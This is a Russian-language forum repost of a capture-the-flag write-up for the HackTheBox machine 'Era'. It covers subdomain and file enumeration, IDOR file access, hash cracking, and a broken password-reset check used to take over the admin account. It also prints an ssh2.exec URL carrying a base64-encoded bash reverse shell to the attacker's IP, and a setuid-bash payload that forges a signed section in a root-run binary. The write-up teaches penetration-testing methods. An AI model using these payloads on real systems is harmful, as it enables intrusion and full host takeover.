• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Используем отсутствие контроля доступа для полной компрометации сайта

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,440
Розыгрыши
0
Реакции
792
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня проэксплуатируем уязвимость IDOR, чтобы получить доступ к чужим файлам, а после изучения исходников воспользуемся функцией смены пароля, чтобы скомпрометировать учетную запись администратора сайта и добиться RCE. Привилегии повысим через уязвимость в мониторе антивируса.
Наша цель — получение прав суперпользователя на машине Era с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Код:
Подключаться к машинам HTB лучше через средства анонимизации и виртуализации. Не делай этого с компьютеров, на которых хранишь важные данные: ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

Код:
10.10.11.79    era.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:
  • 21 — служба FTP;
  • 80 — веб‑сервер Nginx 1.18.0.
FTP-сервер не разрешает анонимную аутентификацию, поэтому проверим, что нам доступно на веб‑сервере.

Главная страница сайта
Главная страница сайта

Точка входа​

Сайт — это просто лендинг. Сканирование каталогов и файлов ничего нового не дает, поэтому посканируем поддомены в поисках других сайтов. Для этого используем Для просмотра ссылки Войди или Зарегистрируйся.

Справка: сканирование веба c ffuf​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:
  • -u — URL;
  • -H — HTTP-заголовок;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков.
Место перебора помечается словом FUZZ.
Запускаем сканер, перечислив все параметры:

ffuf -u "[URL]http://era.htb/[/URL]" -H 'Host: FUZZ.era.htb' -w subdomains-bitquark-top100000.txt -t 128
Результат сканирования поддоменов
Результат сканирования поддоменов

В вывод утилиты попадают все варианты из списка, поэтому стоит настроить фильтр, например по размеру ответа (параметр -fs).

ffuf -u "[URL]http://era.htb/[/URL]" -H 'Host: FUZZ.era.htb' -w subdomains-bitquark-top100000.txt -t 128 -fs 154
Результат сканирования поддоменов
Результат сканирования поддоменов
Получаем новый поддомен, обновляем запись в /etc/hosts и открываем сайт в браузере.

10.10.11.79 era.htb file.era.htb
Главная страница сайта
Главная страница сайта

На сайте есть формы авторизации и по учетным данным, и по контрольным вопросам.

Форма авторизации
Форма авторизации

На сайте ничего интересного найти не удалось, поэтому перейдем к поиску потенциально полезных PHP‑файлов. Я для этого использую Для просмотра ссылки Войди или Зарегистрируйся.

Для сканирования задаем параметры:
  • -u — URL;
  • -d — глубина сканирования;
  • -t — количество потоков;
  • -w — словарь (снова из набора Для просмотра ссылки Войди или Зарегистрируйся).
]
feroxbuster -u Для просмотра ссылки Войди или Зарегистрируйся -d 1 -t 128 -w php_files_common_5476.txt -C 404
Результат сканирования файлов с помощью feroxbuster
Результат сканирования файлов с помощью feroxbuster

Находим эндпоинт регистрации. Авторизованному пользователю доступно больше возможностей, в том числе управление загруженными файлами.

Содержимое страницы manage.php
Содержимое страницы manage.php
После загрузки файла мы получаем ссылку на него. В ней нет никаких отличительных параметров, кроме целочисленного идентификатора файла.

Результат загрузки файла
Результат загрузки файла

При переходе по ссылке появляется кнопка для скачивания файла.

Страница скачивания файла
Страница скачивания файла

Точка опоры​


IDOR​

Проверим, есть ли здесь уязвимость IDOR. Для этого переберем целочисленные идентификаторы с помощью Burp Intruder.

Burp Intruder — вкладка Positions
Burp Intruder — вкладка Positions
Burp Intruder — вкладка Payloads
Burp Intruder — вкладка Payloads
После перебора пяти тысяч идентификаторов получаем три разных результата.

Burp Intruder — результат перебора
Burp Intruder — результат перебора

Переходим на страницы с найденными идентификаторами и видим, что можно скачать два файла: site-backup-30-08-24.zip и signing.zip.

Страница загрузки файла site-backup-30-08-24.zip


Страница загрузки файла site-backup-30-08-24.zip
Страница загрузки файла signing.zip
Страница загрузки файла signing.zip
Просматриваем содержимое архива с резервной копией сайта и находим файл базы данных. С помощью Для просмотра ссылки Войди или Зарегистрируйся открываем таблицу users, откуда получаем шесть хешей паролей.

Содержимое таблицы users
Содержимое таблицы users
Перебираем найденные хеши с помощью hashcat и подбираем два пароля.

hashcat -m 3200 --username hashes.txt rockyou.txt
Результат брута хешей
Результат брута хешей

Broken access control​

Просматриваем исходники сайта и замечаем функцию fopen (строка 72) в файле download.php.

Содержимое файла download.php
Содержимое файла download.php
Администратор сайта может передать в fopen любой URL, что приводит к LFI и потенциально к RCE. А в файле reset.php реализован механизм изменения контрольных вопросов пользователя (строки 23–38), но нет проверки, от какого пользователя приходит запрос.

Содержимое файла reset.php
Содержимое файла reset.php
Так мы можем изменить ответы на контрольные вопросы администратора.

Изменение ответов на контрольные вопросы
Изменение ответов на контрольные вопросы
Открываем страницу входа по контрольным вопросам и логинимся от имени администратора.


Продвижение​

Теперь у нас есть возможность передать произвольный wrapper в функцию fopen через Для просмотра ссылки Войди или Зарегистрируйся. У нас также есть две учетные записи для доступа к FTP-серверу. Там доступны два каталога.

Содержимое FTP-сервера
Содержимое FTP-сервера
В каталоге php8.1_conf лежит список модулей для PHP.

Содержимое каталога php8.1_conf
Содержимое каталога php8.1_conf
Среди модулей есть ssh2.so. Это расширение предоставляет функции, которые позволяют PHP-скриптам взаимодействовать с удаленными серверами по протоколам SSH и SFTP. Так мы можем запустить листенер (pwncat-cs -lp 4321) и выполнить реверс‑шелл через Для просмотра ссылки Войди или Зарегистрируйся.

[URL unfurl="true"]http://file.era.htb/download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xNjMvNDMyMSAwPiYx%20%7C%20base64%20-d%20%7C%20bash;[/URL]
Сессия пользователя yuri
Сессия пользователя yuri

Пароли системных пользователей совпадают с паролями из базы. Меняем пользователя yuri на eric и читаем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию, которая пригодится для продвижения. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем смотрим, что интересного найдется в выводе.

Группа devs имеет права записи в каталог /opt/AV/periodic-checks, а также в файлы monitor и status.log.

Файлы, доступные для записи группе devs
Файлы, доступные для записи группе devs

Посмотрим, запускается ли файл monitor в системе. Для отслеживания процессов возьмем утилиту Для просмотра ссылки Войди или Зарегистрируйся. В выводе видим запуск файла monitor от имени root, но перед этим происходит дамп секции .text_sig из этого файла. Похоже, так проверяется целостность файла перед запуском.

Для просмотра ссылки Войди или Зарегистрируйся
Пользователь eric состоит в группе devs, значит, мы можем подменять файлы в этом каталоге.

Результат команды id
Результат команды id

Но мы можем обойти проверку целостности, если сдампим нужную секцию из исходного файла и добавим ее в свой. В итоге это позволит подменить файл monitor. Скомпилируем код r.c, который назначит файлу командной оболочки S-бит.

Код:
#include <stdlib.h>
int main() {
    system("chmod u+s /bin/bash");
    return 0;
}
 gcc r.c -o r

Теперь копируем секцию .text_sig из monitor и добавляем ее к нашему файлу, после чего заменяем исходный monitor.
Код:
objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor
objcopy --add-section .text_sig=sig r
chmod +x r
cp r monitor
После проверки атрибутов /bin/bas видим установленный S-бит.

Эксплуатация уязвимости
Эксплуатация уязвимости

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Запускаем:

/bin/bash -p
Флаг рута
Флаг рута

И машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу